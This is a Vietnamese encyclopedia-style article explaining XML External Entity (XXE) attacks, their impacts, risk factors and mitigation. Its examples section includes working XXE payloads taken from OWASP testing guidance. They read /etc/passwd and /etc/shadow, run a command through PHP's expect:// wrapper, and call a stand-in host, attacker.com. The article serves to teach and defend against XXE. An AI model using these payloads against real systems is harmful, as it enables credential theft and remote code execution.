Tấn công thực thể bên ngoài XML

**Tấn công thực thể bên ngoài XML**, hay đơn giản là **tấn công XXE**, là một kiểu tấn công chống lại một ứng dụng phân tích cú pháp đầu vào XML. Cuộc tấn công này xảy ra khi đầu vào XML chứa tham chiếu đến một thực thể bên ngoài được xử lý bởi trình phân tích cú pháp XML được cấu hình yếu. Cuộc tấn công này có thể dẫn đến việc tiết lộ dữ liệu bí mật, các cuộc tấn công DoS, giả mạo yêu cầu phía máy chủ, quét cổng từ góc độ của máy nơi đặt trình phân tích cú pháp và các tác động khác đến hệ thống.

## Mô tả
Tiêu chuẩn XML 1.0 xác định cấu trúc của một tài liệu XML. Tiêu chuẩn xác định một khái niệm gọi là thực thể, là thuật ngữ dùng để chỉ nhiều loại đơn vị dữ liệu. Một trong những loại thực thể đó là thực thể được phân tích cú pháp chung/tham số bên ngoài, thường được rút ngắn thành thực thể bên ngoài, có thể truy cập nội dung cục bộ hoặc từ xa thông qua mã định danh hệ thống được khai báo. Mã định danh hệ thống được coi là một URI có thể được bộ xử lý XML truy cập khi xử lý thực thể. Sau đó, bộ xử lý XML sẽ thay thế các lần xuất hiện của thực thể bên ngoài được đặt tên bằng nội dung được tham chiếu bởi mã định danh hệ thống. Nếu mã định danh hệ thống chứa dữ liệu bị nhiễm độc và bộ xử lý XML hủy tham chiếu dữ liệu bị nhiễm độc này thì bộ xử lý XML có thể tiết lộ thông tin bí mật mà ứng dụng thường không thể truy cập được. Các vectơ tấn công tương tự áp dụng việc sử dụng DTD bên ngoài, biểu định kiểu bên ngoài, lược đồ bên ngoài, v.v., khi được đưa vào, sẽ cho phép các cuộc tấn công kiểu bao gồm tài nguyên bên ngoài tương tự.

Các cuộc tấn công có thể bao gồm tiết lộ các tệp cục bộ, có thể chứa dữ liệu nhạy cảm như mật khẩu hoặc dữ liệu riêng tư của người dùng, sử dụng lược đồ `file://` hoặc đường dẫn tương đối trong mã nhận dạng hệ thống. Vì cuộc tấn công xảy ra liên quan đến ứng dụng đang xử lý tài liệu XML nên kẻ tấn công có thể sử dụng ứng dụng đáng tin cậy này để chuyển sang các hệ thống nội bộ khác, có thể tiết lộ nội dung nội bộ khác thông qua các yêu cầu HTTP hoặc khởi động một cuộc tấn công CSRF vào bất kỳ dịch vụ nội bộ nào không được bảo vệ. Trong một số trường hợp, thư viện bộ xử lý XML dễ gặp phải các vấn đề hỏng bộ nhớ phía máy khách có thể bị khai thác bằng cách hủy tham chiếu URI độc hại, có thể cho phép thực thi mã tùy ý trong tài khoản ứng dụng. Các cuộc tấn công khác có thể truy cập vào tài nguyên cục bộ và không ngừng trả về dữ liệu, có thể ảnh hưởng đến tính khả dụng của ứng dụng nếu có quá nhiều luồng hoặc quy trình không được phát hành.

Ứng dụng không cần phải trả lại phản hồi rõ ràng cho kẻ tấn công để dễ bị tiết lộ thông tin. Kẻ tấn công có thể tận dụng thông tin DNS để lọc dữ liệu thông qua tên miền phụ đến máy chủ DNS dưới sự kiểm soát của chúng.

## Các yếu tố rủi ro

* Ứng dụng phân tích các tài liệu XML.
* Dữ liệu bị nhiễm độc được cho phép trong phần định danh hệ thống của thực thể, trong định nghĩa loại tài liệu (DTD).
* Bộ xử lý XML được cấu hình để xác thực và xử lý DTD.
* Bộ xử lý XML được cấu hình để phân giải các thực thể bên ngoài trong DTD.

## Ví dụ
Các ví dụ bên dưới là từ Thử nghiệm chèn XML của OWASP (WSTG-INPV-07).

### Truy cập tài nguyên cục bộ có thể không quay trở lại

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```


### Thực thi mã từ xa
Khi mô-đun PHP "mong đợi" được tải, việc thực thi mã từ xa có thể thực hiện được với tải trọng được sửa đổi.
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>
```


### Tiết lộ /etc/passwd hoặc các tệp được nhắm mục tiêu khác

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```


## Giảm nhẹ
Vì toàn bộ tài liệu XML được truyền từ một máy khách không đáng tin cậy nên thường không thể xác thực có chọn lọc hoặc thoát khỏi dữ liệu bị nhiễm độc trong mã định danh hệ thống trong DTD. Bộ xử lý XML có thể được cấu hình để sử dụng DTD tĩnh cục bộ và không cho phép bất kỳ DTD nào được khai báo có trong tài liệu XML.

## Xem thêm

* SQL injection
* Blind SQL injection

## Tham khảo